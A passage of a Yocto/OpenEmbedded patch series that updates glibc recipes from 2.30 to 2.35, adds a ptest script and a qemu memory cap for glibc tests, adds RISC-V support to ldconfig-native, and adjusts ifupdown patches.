-- errx(EXIT_FAILURE, _("integer overflow"));
-+ errx(EXIT_FAILURE, ("integer overflow"));
- return sum;
- }
-
-@@ -193,7 +195,7 @@ static void process_path(struct hardlink
- if (st.st_dev != ctl->dev && !ctl->force) {
- if (ctl->dev)
- errx(EXIT_FAILURE,
-- _("%s is on different filesystem than the rest "
-+ ("%s is on different filesystem than the rest "
- "(use -f option to override)."), name);
- ctl->dev = st.st_dev;
- }
-@@ -287,9 +289,9 @@ static void process_path(struct hardlink
- (ssize_t) sizeof(ctl->iobuf1) : fsize;
-
- if ((xsz = read(fd, ctl->iobuf1, rsize)) != rsize)
-- warn(_("cannot read %s"), name);
-+ warn(("cannot read %s"), name);
- else if ((xsz = read(fd2, ctl->iobuf2, rsize)) != rsize)
-- warn(_("cannot read %s"), fp2->name);
-+ warn(("cannot read %s"), fp2->name);
-
- if (xsz != rsize) {
- close(fd);
-@@ -303,13 +305,13 @@ static void process_path(struct hardlink
- if (fsize > 0)
- continue;
- if (lstat(name, &st3)) {
-- warn(_("cannot stat %s"), name);
-+ warn(("cannot stat %s"), name);
- close(fd);
- return;
- }
- st3.st_atime = st.st_atime;
- if (stcmp(&st, &st3, 0)) {
-- warnx(_("file %s changed underneath us"), name);
-+ warnx(("file %s changed underneath us"), name);
- close(fd);
- return;
- }
-@@ -329,18 +331,18 @@ static void process_path(struct hardlink
- suffixlen + 1);
- /* First create a temporary link to n1 under a new name */
- if (link(n1, nam2.buf)) {
-- warn(_("failed to hardlink %s to %s (create temporary link as %s failed)"),
-+ warn(("failed to hardlink %s to %s (create temporary link as %s failed)"),
- n1, n2, nam2.buf);
- free(nam2.buf);
- continue;
- }
- /* Then rename into place over the existing n2 */
- if (rename(nam2.buf, n2)) {
-- warn(_("failed to hardlink %s to %s (rename temporary link to %s failed)"),
-+ warn(("failed to hardlink %s to %s (rename temporary link to %s failed)"),
- n1, n2, n2);
- /* Something went wrong, try to remove the now redundant temporary link */
- if (unlink(nam2.buf))
-- warn(_("failed to remove temporary link %s"), nam2.buf);
-+ warn(("failed to remove temporary link %s"), nam2.buf);
- free(nam2.buf);
- continue;
- }
-@@ -351,16 +353,16 @@ static void process_path(struct hardlink
- /* We actually did not save anything this time, since the link second argument
- had some other links as well. */
- if (ctl->verbose > 1)
-- printf(_(" %s %s to %s\n"),
-- (ctl->no_link ? _("Would link") : _("Linked")),
-+ printf((" %s %s to %s\n"),
-+ (ctl->no_link ? ("Would link") : ("Linked")),
- n1, n2);
- } else {
- ctl->nsaved += ((st.st_size + 4095) / 4096) * 4096;
- if (ctl->verbose > 1)
-- printf(_(" %s %s to %s, %s %jd\n"),
-- (ctl->no_link ? _("Would link") : _("Linked")),
-+ printf((" %s %s to %s, %s %jd\n"),
-+ (ctl->no_link ? ("Would link") : ("Linked")),
- n1, n2,
-- (ctl->no_link ? _("would save") : _("saved")),
-+ (ctl->no_link ? ("would save") : ("saved")),
- (intmax_t)st.st_size);
- }
- close(fd);
-@@ -410,11 +412,6 @@ int main(int argc, char **argv)
- { NULL, 0, NULL, 0 },
- };
-
-- setlocale(LC_ALL, "");
-- bindtextdomain(PACKAGE, LOCALEDIR);
-- textdomain(PACKAGE);
-- close_stdout_atexit();
--
- while ((ch = getopt_long(argc, argv, "cnvfx:Vh", longopts, NULL)) != -1) {
- switch (ch) {
- case 'n':
-@@ -434,7 +431,7 @@ int main(int argc, char **argv)
- exclude_pattern = (PCRE2_SPTR) optarg;
- #else
- errx(EXIT_FAILURE,
-- _("option --exclude not supported (built without pcre2)"));
-+ ("option --exclude not supported (built without pcre2)"));
- #endif
- break;
- case 'V':
-@@ -447,7 +444,7 @@ int main(int argc, char **argv)
- }
-
- if (optind == argc) {
-- warnx(_("no directory specified"));
-+ warnx(("no directory specified"));
- errtryhelp(EXIT_FAILURE);
- }
-
-@@ -461,7 +458,7 @@ int main(int argc, char **argv)
- PCRE2_UCHAR buffer[256];
- pcre2_get_error_message(errornumber, buffer,
- sizeof(buffer));
-- errx(EXIT_FAILURE, _("pattern error at offset %d: %s"),
-+ errx(EXIT_FAILURE, ("pattern error at offset %d: %s"),
- (int)erroroffset, buffer);
- }
- match_data = pcre2_match_data_create_from_pattern(re, NULL);
-@@ -506,7 +503,7 @@ int main(int argc, char **argv)
- >=0) {
- if (ctl->verbose) {
- nam1.buf[nam1baselen] = 0;
-- printf(_("Skipping %s%s\n"), nam1.buf, di->d_name);
-+ printf(("Skipping %s%s\n"), nam1.buf, di->d_name);
- }
- continue;
- }
---- a/locale/programs/c.h
-+++ b/locale/programs/c.h
-@@ -240,7 +240,7 @@ errmsg(char doexit, int excode, char add
- /* Don't use inline function to avoid '#include "nls.h"' in c.h
- */
- #define errtryhelp(eval) __extension__ ({ \
-- fprintf(stderr, _("Try '%s --help' for more information.\n"), \
-+ fprintf(stderr, ("Try '%s --help' for more information.\n"), \
- program_invocation_short_name); \
- exit(eval); \
- })
diff --git a/meta/recipes-core/glibc/glibc/check-test-wrapper b/meta/recipes-core/glibc/glibc/check-test-wrapper
index f8e04e02d2..6ec9b9b29e 100644
--- a/meta/recipes-core/glibc/glibc/check-test-wrapper
+++ b/meta/recipes-core/glibc/glibc/check-test-wrapper
@@ -2,6 +2,7 @@
import sys
import os
import subprocess
+import resource
env = os.environ.copy()
args = sys.argv[1:]
@@ -44,6 +45,14 @@ if targettype == "user":
qemuargs += ["-L", sysroot]
qemuargs += ["-E", "LD_LIBRARY_PATH={}".format(":".join(libpaths))]
command = qemuargs + args
+
+ # We've seen qemu-arm using up all system memory for some glibc
+ # tests e.g. nptl/tst-pthread-timedlock-lockloop
+ # Cap at 8GB since no test should need more than that
+ # (5GB adds 7 failures for qemuarm glibc test run)
+ limit = 8*1024*1024*1024
+ resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
+
elif targettype == "ssh":
host = os.environ.get("SSH_HOST", None)
user = os.environ.get("SSH_HOST_USER", None)
diff --git a/meta/recipes-core/glibc/glibc/run-ptest b/meta/recipes-core/glibc/glibc/run-ptest
new file mode 100755
index 0000000000..f637986105
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/run-ptest
@@ -0,0 +1,37 @@
+#!/bin/sh
+# ptest script for glibc - to run time related tests to
+# facilitate Y2038 validation
+# Run with 'ptest-runner glibc-tests'
+
+output() {
+ retcode=$?
+ if [ $retcode -eq 0 ]
+ then echo "PASS: $i"
+ elif [ $retcode -eq 77 ]
+ then echo "SKIP: $i"
+ else echo "FAIL: $i"
+ fi
+}
+
+# Allow altering time on the target
+export GLIBC_TEST_ALLOW_TIME_SETTING="1"
+
+tst_time64=$(ls -r ${PWD}/tests/glibc-ptest/*-time64)
+
+# Remove '-time64' suffix - those tests are also time
+# related
+tst_time_tmp=$(sed -e "s/-time64$//" <<< ${tst_time64})
+
+# Run tests supporting only 32 bit time
+for i in ${tst_time_tmp}
+do
+ $i >/dev/null 2>&1
+ output
+done
+
+# Run tests supporting only 64 bit time
+for i in ${tst_time64}
+do
+ $i >/dev/null 2>&1
+ output
+done
diff --git a/meta/recipes-core/glibc/glibc_2.30.bb b/meta/recipes-core/glibc/glibc_2.30.bb
deleted file mode 100644
index 03add3363c..0000000000
--- a/meta/recipes-core/glibc/glibc_2.30.bb
+++ /dev/null
@@ -1,112 +0,0 @@
-require glibc.inc
-require glibc-version.inc
-
-DEPENDS += "gperf-native bison-native make-native"
-
-NATIVESDKFIXES ?= ""
-NATIVESDKFIXES_class-nativesdk = "\
- file://0001-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
- file://0002-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
- file://0003-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
- file://0004-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
- file://0005-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
-"
-
-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- file://etc/ld.so.conf \
- file://generate-supported.mk \
- file://makedbs.sh \
- \
- ${NATIVESDKFIXES} \
- file://0006-fsl-e500-e5500-e6500-603e-fsqrt-implementation.patch \
- file://0007-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch \
- file://0008-ppc-sqrt-Fix-undefined-reference-to-__sqrt_finite.patch \
- file://0009-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0010-Quote-from-bug-1443-which-explains-what-the-patch-do.patch \
- file://0011-eglibc-run-libm-err-tab.pl-with-specific-dirs-in-S.patch \
- file://0012-__ieee754_sqrt-f-are-now-inline-functions-and-call-o.patch \
- file://0013-sysdeps-gnu-configure.ac-handle-correctly-libc_cv_ro.patch \
- file://0014-Add-unused-attribute.patch \
- file://0015-yes-within-the-path-sets-wrong-config-variables.patch \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Clear-cache-lines-on-ppc8xx.patch \
- file://0021-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0022-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0023-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
- file://0025-elf-dl-deps.c-Make-_dl_build_local_scope-breadth-fir.patch \
- file://0026-intl-Emit-no-lines-in-bison-generated-files.patch \
- file://0027-inject-file-assembly-directives.patch \
- file://0028-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch \
- "
-S = "${WORKDIR}/git"
-B = "${WORKDIR}/build-${TARGET_SYS}"
-
-PACKAGES_DYNAMIC = ""
-
-# the -isystem in bitbake.conf screws up glibc do_stage
-BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
-TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
-
-GLIBC_BROKEN_LOCALES = ""
-
-GLIBCPIE ??= ""
-
-EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
- --disable-profile \
- --disable-debug --without-gd \
- --enable-clocale=gnu \
- --with-headers=${STAGING_INCDIR} \
- --without-selinux \
- --enable-tunables \
- --enable-bind-now \
- --enable-stack-protector=strong \
- --enable-stackguard-randomization \
- --disable-crypt \
- --with-default-link \
- --enable-nscd \
- ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
- ${GLIBCPIE} \
- ${GLIBC_EXTRA_OECONF}"
-
-EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
-
-do_patch_append() {
- bb.build.exec_func('do_fix_readlib_c', d)
-}
-
-do_fix_readlib_c () {
- sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
-}
-
-do_configure () {
-# override this function to avoid the autoconf/automake/aclocal/autoheader
-# calls for now
-# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
-# version check and doesn't really help with anything
- (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
- find ${S} -name "configure" | xargs touch
- CPPFLAGS="" oe_runconf
-}
-
-do_compile () {
- # -Wl,-rpath-link <staging>/lib in LDFLAGS can cause breakage if another glibc is in staging
- LDFLAGS="-fuse-ld=bfd"
- base_do_compile
- echo "Adjust ldd script"
- if [ -n "${RTLDLIST}" ]
- then
- prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
- # remove duplicate entries
- newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
- echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
- sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
- fi
-}
-
-require glibc-package.inc
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/glibc_2.35.bb b/meta/recipes-core/glibc/glibc_2.35.bb
new file mode 100644
index 0000000000..6ea5b1efb5
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc_2.35.bb
@@ -0,0 +1,123 @@
+require glibc.inc
+require glibc-version.inc
+
+CVE_CHECK_IGNORE += "CVE-2020-10029 CVE-2021-27645"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010022
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010023
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010024
+# Upstream glibc maintainers dispute there is any issue and have no plans to address it further.
+# "this is being treated as a non-security bug and no real threat."
+CVE_CHECK_IGNORE += "CVE-2019-1010022 CVE-2019-1010023 CVE-2019-1010024"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-1010025
+# Allows for ASLR bypass so can bypass some hardening, not an exploit in itself, may allow
+# easier access for another. "ASLR bypass itself is not a vulnerability."
+# Potential patch at https://sourceware.org/bugzilla/show_bug.cgi?id=22853
+CVE_CHECK_IGNORE += "CVE-2019-1010025"
+
+DEPENDS += "gperf-native bison-native make-native"
+
+NATIVESDKFIXES ?= ""
+NATIVESDKFIXES:class-nativesdk = "\
+ file://0003-nativesdk-glibc-Look-for-host-system-ld.so.cache-as-.patch \
+ file://0004-nativesdk-glibc-Fix-buffer-overrun-with-a-relocated-.patch \
+ file://0005-nativesdk-glibc-Raise-the-size-of-arrays-containing-.patch \
+ file://0006-nativesdk-glibc-Allow-64-bit-atomics-for-x86.patch \
+ file://0007-nativesdk-glibc-Make-relocatable-install-for-locales.patch \
+ file://0008-nativesdk-glibc-Fall-back-to-faccessat-on-faccess2-r.patch \
+"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ file://etc/ld.so.conf \
+ file://generate-supported.mk \
+ file://makedbs.sh \
+ \
+ ${NATIVESDKFIXES} \
+ file://0009-yes-within-the-path-sets-wrong-config-variables.patch \
+ file://0010-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0011-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0012-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0013-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0014-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0016-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch \
+ file://0017-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch \
+ file://0018-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch \
+ file://0019-powerpc-Do-not-ask-compiler-for-finding-arch.patch \
+ file://0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch \
+ file://0022-sysdeps-gnu-configure.ac-Set-libc_cv_rootsbindir-onl.patch \
+ file://0023-timezone-Make-shell-interpreter-overridable-in-tzsel.patch \
+ file://0024-fix-create-thread-failed-in-unprivileged-process-BZ-.patch \
+ "
+S = "${WORKDIR}/git"
+B = "${WORKDIR}/build-${TARGET_SYS}"
+
+PACKAGES_DYNAMIC = ""
+
+# the -isystem in bitbake.conf screws up glibc do_stage
+BUILD_CPPFLAGS = "-I${STAGING_INCDIR_NATIVE}"
+TARGET_CPPFLAGS = "-I${STAGING_DIR_TARGET}${includedir}"
+
+GLIBC_BROKEN_LOCALES = ""
+
+GLIBCPIE ??= ""
+
+EXTRA_OECONF = "--enable-kernel=${OLDEST_KERNEL} \
+ --disable-profile \
+ --disable-debug --without-gd \
+ --enable-clocale=gnu \
+ --with-headers=${STAGING_INCDIR} \
+ --without-selinux \
+ --enable-tunables \
+ --enable-bind-now \
+ --enable-stack-protector=strong \
+ --disable-crypt \
+ --with-default-link \
+ ${@bb.utils.contains_any('SELECTED_OPTIMIZATION', '-O0 -Og', '--disable-werror', '', d)} \
+ ${GLIBCPIE} \
+ ${GLIBC_EXTRA_OECONF}"
+
+EXTRA_OECONF += "${@get_libc_fpu_setting(bb, d)}"
+
+EXTRA_OECONF:append:x86 = " ${@bb.utils.contains_any('TUNE_FEATURES', 'i586 c3', '--disable-cet', '--enable-cet', d)}"
+EXTRA_OECONF:append:x86-64 = " --enable-cet"
+
+PACKAGECONFIG ??= "nscd memory-tagging"
+PACKAGECONFIG[nscd] = "--enable-nscd,--disable-nscd"
+PACKAGECONFIG[memory-tagging] = "--enable-memory-tagging,--disable-memory-tagging"
+
+do_patch:append() {
+ bb.build.exec_func('do_fix_readlib_c', d)
+}
+
+do_fix_readlib_c () {
+ sed -i -e 's#OECORE_KNOWN_INTERPRETER_NAMES#${EGLIBC_KNOWN_INTERPRETER_NAMES}#' ${S}/elf/readlib.c
+}
+
+do_configure () {
+# override this function to avoid the autoconf/automake/aclocal/autoheader
+# calls for now
+# don't pass CPPFLAGS into configure, since it upsets the kernel-headers
+# version check and doesn't really help with anything
+ (cd ${S} && gnu-configize) || die "failure in running gnu-configize"
+ find ${S} -name "configure" | xargs touch
+ CPPFLAGS="" oe_runconf
+}
+
+LDFLAGS += "-fuse-ld=bfd"
+do_compile () {
+ base_do_compile
+ echo "Adjust ldd script"
+ if [ -n "${RTLDLIST}" ]
+ then
+ prevrtld=`cat ${B}/elf/ldd | grep "^RTLDLIST=" | sed 's#^RTLDLIST="\?\([^"]*\)"\?$#\1#'`
+ # remove duplicate entries
+ newrtld=`echo $(printf '%s\n' ${prevrtld} ${RTLDLIST} | LC_ALL=C sort -u)`
+ echo "ldd \"${prevrtld} ${RTLDLIST}\" -> \"${newrtld}\""
+ sed -i ${B}/elf/ldd -e "s#^RTLDLIST=.*\$#RTLDLIST=\"${newrtld}\"#"
+ fi
+}
+
+require glibc-package.inc
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
new file mode 100644
index 0000000000..fc41aee264
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/add-riscv-support.patch
@@ -0,0 +1,79 @@
+From fd50228cc213d2d87f5e3cf1f123acb3fda9b04e Mon Sep 17 00:00:00 2001
+From: Christoph Muellner <cmuellner@linux.com>
+Date: Mon, 28 Jun 2021 00:34:12 +0200
+Subject: [PATCH] ldconfig: Add RISC-V support
+
+ldconfig-native does not support RISC-V at the moment.
+Let's pull the reqired constants from upstream and add
+the required parsing code.
+
+Upstream-Status: Backport
+
+Signed-off-by: Christoph Muellner <cmuellner@linux.com>
+---
+ cache.c | 6 ++++++
+ ldconfig.h | 2 ++
+ readelflib.c | 10 ++++++++++
+ 3 files changed, 18 insertions(+)
+
+diff --git a/cache.c b/cache.c
+index c4f5411..a3b9e70 100644
+--- a/cache.c
++++ b/cache.c
+@@ -125,6 +125,12 @@ print_entry (const char *lib, int flag, unsigned int osversion,
+ case FLAG_AARCH64_LIB64:
+ fputs (",AArch64", stdout);
+ break;
++ case FLAG_RISCV_FLOAT_ABI_SOFT:
++ fputs (",soft-float", stdout);
++ break;
++ case FLAG_RISCV_FLOAT_ABI_DOUBLE:
++ fputs (",double-float", stdout);
++ break;
+ case 0:
+ break;
+ default:
+diff --git a/ldconfig.h b/ldconfig.h
+index 6a8a750..2e5e379 100644
+--- a/ldconfig.h
++++ b/ldconfig.h
+@@ -38,6 +38,8 @@
+ #define FLAG_ARM_LIBHF 0x0900
+ #define FLAG_AARCH64_LIB64 0x0a00
+ #define FLAG_ARM_LIBSF 0x0b00
++#define FLAG_RISCV_FLOAT_ABI_SOFT 0x0f00
++#define FLAG_RISCV_FLOAT_ABI_DOUBLE 0x1000
+
+ /* Name of auxiliary cache. */
+ #define _PATH_LDCONFIG_AUX_CACHE "/var/cache/ldconfig/aux-cache"
+diff --git a/readelflib.c b/readelflib.c
+index 9ec0a54..a01e1ce 100644
+--- a/readelflib.c
++++ b/readelflib.c
+@@ -33,6 +33,10 @@
+ #define EM_AARCH64 183 /* ARM AARCH64 */
+ #endif
+
++#ifndef EM_RISCV
++#define EM_RISCV 243 /* RISC-V */
++#endif
++
+ #undef check_ptr
+ #define check_ptr(ptr) \
+ do \
+@@ -331,6 +335,12 @@ process_elf_file64 (const char *file_name, const char *lib, int *flag,
+ /* see sysdeps/unix/sysv/linux/arm/readelflib.c */
+ *flag |= FLAG_AARCH64_LIB64|FLAG_ELF_LIBC6;
+ break;
++ case EM_RISCV:
++ /* RISC-V libraries are always libc.so.6+. */
++ /* NOTE: This does not correctly handle soft-float binaries */
++ /* see sysdeps/unix/sysv/linux/riscv/readelflib.c */
++ *flag |= FLAG_RISCV_FLOAT_ABI_DOUBLE|FLAG_ELF_LIBC6;
++ break;
+ default:
+ error(0, 0, "%s is a 64-bit ELF for unknown machine %lx\n",
+ file_name, (long)elf_header->e_machine);
+--
+2.25.1
+
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
index 52986e61c7..d1835c7a10 100644
--- a/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/ldconfig.patch
@@ -400,7 +400,7 @@ Index: ldconfig-native-2.12.1/ldconfig.c
return 0;
}
-+#define REPORT_BUGS_TO "mailing list : poky@yoctoproject.org"
++#define REPORT_BUGS_TO "mailing list : poky@lists.yoctoproject.org"
/* Print bug-reporting information in the help message. */
static char *
more_help (int key, const char *text, void *input)
diff --git a/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
new file mode 100644
index 0000000000..c6765ba00d
--- /dev/null
+++ b/meta/recipes-core/glibc/ldconfig-native-2.12.1/no-aux-cache.patch
@@ -0,0 +1,19 @@
+The ldconfig auxiliary cache is a dictionary where the keys include inode, so
+there is no point in writing these files on the build host.
+
+Upstream-Status: Inappropriate
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+
+diff --git a/ldconfig.c b/ldconfig.c
+index 2c4eb57..2d6dc92 100644
+--- a/ldconfig.c
++++ b/ldconfig.c
+@@ -1399,8 +1399,6 @@ main (int argc, char **argv)
+ if (opt_build_cache)
+ {
+ save_cache (cache_file);
+- if (aux_cache_file)
+- save_aux_cache (aux_cache_file);
+ }
+
+ return 0;
diff --git a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
index 93c0b18671..e867ceb3ec 100644
--- a/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
+++ b/meta/recipes-core/glibc/ldconfig-native_2.12.1.bb
@@ -1,6 +1,6 @@
SUMMARY = "A standalone native ldconfig build"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://${S}/ldconfig.c;endline=17;md5=1d15f20937c055cb5de2329a4c054399"
@@ -14,6 +14,8 @@ SRC_URI = "file://ldconfig-native-2.12.1.tar.bz2 \
file://ldconfig-default-to-all-multilib-dirs.patch \
file://endian-ness_handling_fix.patch \
file://add-64-bit-flag-for-ELF64-entries.patch \
+ file://no-aux-cache.patch \
+ file://add-riscv-support.patch \
"
PR = "r2"
diff --git a/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch b/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch
new file mode 100644
index 0000000000..57c8d04fd7
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/0001-Makefile-do-not-use-dpkg-for-determining-OS-type.patch
@@ -0,0 +1,23 @@
+From 7ace0656bd325f9e7749f2cde641eddc057bc98a Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Thu, 9 Jan 2020 15:38:06 +0100
+Subject: [PATCH] Makefile: do not use dpkg for determining OS type
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index 0ce2fa3..739aef2 100644
+--- a/Makefile
++++ b/Makefile
+@@ -1,6 +1,6 @@
+ VERSION ?= 0.8
+ CFLAGS ?= -Wall -W -Wno-unused-parameter -g -O2
+-ARCH := $(shell dpkg-architecture -qDEB_HOST_ARCH_OS)
++ARCH := linux
+
+ BASEDIR ?= $(DESTDIR)
+
diff --git a/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
new file mode 100644
index 0000000000..c751e4fab0
--- /dev/null
+++ b/meta/recipes-core/ifupdown/files/0001-ifupdown-skip-wrong-test-case.patch
@@ -0,0 +1,32 @@
+From 98243deface88614e3f332c4a85d04a9abce55ff Mon Sep 17 00:00:00 2001
+From: Zqiang <qiang.zhang@windriver.com>
+Date: Mon, 19 Apr 2021 14:15:45 +0800
+Subject: [PATCH] ifupdown: skip wrong test case
+
+The test parameters of testcase(12-15) file is not right,
+it triggers a test failure, these test items are invalid
+and are skipped directly.
+
+Upstream-Status: Inappropriate [oe-core specific]
+
+Signed-off-by: Zqiang <qiang.zhang@windriver.com>
+---
+ tests/testbuild-linux | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/tests/testbuild-linux b/tests/testbuild-linux
+index 1181ea0..5f148eb 100755
+--- a/tests/testbuild-linux
++++ b/tests/testbuild-linux
+@@ -3,7 +3,7 @@
+ dir=tests/linux
+
+ result=true
+-for test in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do
++for test in 1 2 3 4 5 6 7 8 9 10 11 16 17 18; do
+ if [ -e $dir/testcase.$test ]; then
+ args="$(cat $dir/testcase.$test | sed -n 's/^# RUN: //p')"
+ else
+--
+2.17.1
+
diff --git a/meta/recipes-core/ifupdown/files/inet-6-.defn-fix-inverted-checks-for-loopback.patch b/meta/recipes-core/ifupdown/files/inet-6-.defn-fix-inverted-checks-for-loopback.patch
deleted file mode 100644
index 5b0d51d736..0000000000
--- a/meta/recipes-core/ifupdown/files/inet-6-.defn-fix-inverted-checks-for-loopback.patch
+++ /dev/null
@@ -1,403 +0,0 @@
-From 6fce99c9e42cbacde1855473b745ca1fded3fbf7 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 21 Dec 2016 15:32:07 +0200
-Subject: [PATCH 2/2] inet[6].defn: fix inverted checks for loopback
-
-Compared to the hurd link.defn for loopback, we see these
-are inverted, meaning that you would only be able to configure
-a loopback device that was _not_ named "lo" (unlikely to exist).
-
-The result was that we'd update /run/network/ifstate for "lo"
-but never actually do anything for up/down, as shown below:
-
-root@localhost:~# ifconfig -s
-Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
-eth0 1500 0 7736329 0 2016 0 5289422 0 0 0 BMRU
-lo 65536 0 18 0 0 0 18 0 0 0 LRU
-root@localhost:~# ifdown lo
-root@localhost:~# echo $?
-0
-root@localhost:~# ifconfig -s
-Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
-eth0 1500 0 7736406 0 2016 0 5289455 0 0 0 BMRU
-lo 65536 0 18 0 0 0 18 0 0 0 LRU
-root@localhost:~# ifconfig lo down
-root@localhost:~# ifconfig -s
-Iface MTU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Flg
-eth0 1500 0 7736474 0 2016 0 5289481 0 0 0 BMRU
-root@localhost:~#
-
-Also reverted the commit:
-commit 80b878497663dae08f70b4d3cffe127b57a3cfc
-which uses absolute paths to binaries called by ifup/ifdown.
-
-Upstream-Status: Inappropriate [OE specific]
-
-Signed-off-by: Paul Gortmaker <paul.gortmaker@windriver.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
-Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
----
- inet.defn | 134 +++++++++++++++++++++++++++---------------------------
- 1 file changed, 67 insertions(+), 67 deletions(-)
-
-diff --git a/inet.defn b/inet.defn
-index 182b56b..31067bc 100644
---- a/inet.defn
-+++ b/inet.defn
-@@ -6,10 +6,10 @@ method loopback
- This method may be used to define the IPv4 loopback interface.
-
- up
-- /bin/ip link set dev %iface% up if (!iface_is_lo())
-+ ip link set dev %iface% up if (!iface_is_lo())
-
- down
-- /bin/ip link set dev %iface% down if (!iface_is_lo())
-+ ip link set dev %iface% down if (!iface_is_lo())
-
- method static
- description
-@@ -36,17 +36,17 @@ method static
- broadcast compute_v4_broadcast
-
- up
-- /bin/ip addr add %address%[[/%netmask%]] [[broadcast %broadcast%]] \
-+ ip addr add %address%[[/%netmask%]] [[broadcast %broadcast%]] \
- [[peer %pointopoint%]] [[scope %scope%]] dev %iface% label %iface%
-- /bin/ip link set dev %iface% [[mtu %mtu%]] [[address %hwaddress%]] up
-+ ip link set dev %iface% [[mtu %mtu%]] [[address %hwaddress%]] up
-
-- [[ /bin/ip route add default via %gateway% [[metric %metric%]] dev %iface% onlink ]]
-+ [[ ip route add default via %gateway% [[metric %metric%]] dev %iface% onlink ]]
-
- down
-- [[ /bin/ip route del default via %gateway% [[metric %metric%]] dev %iface% 2>&1 1>/dev/null || true ]]
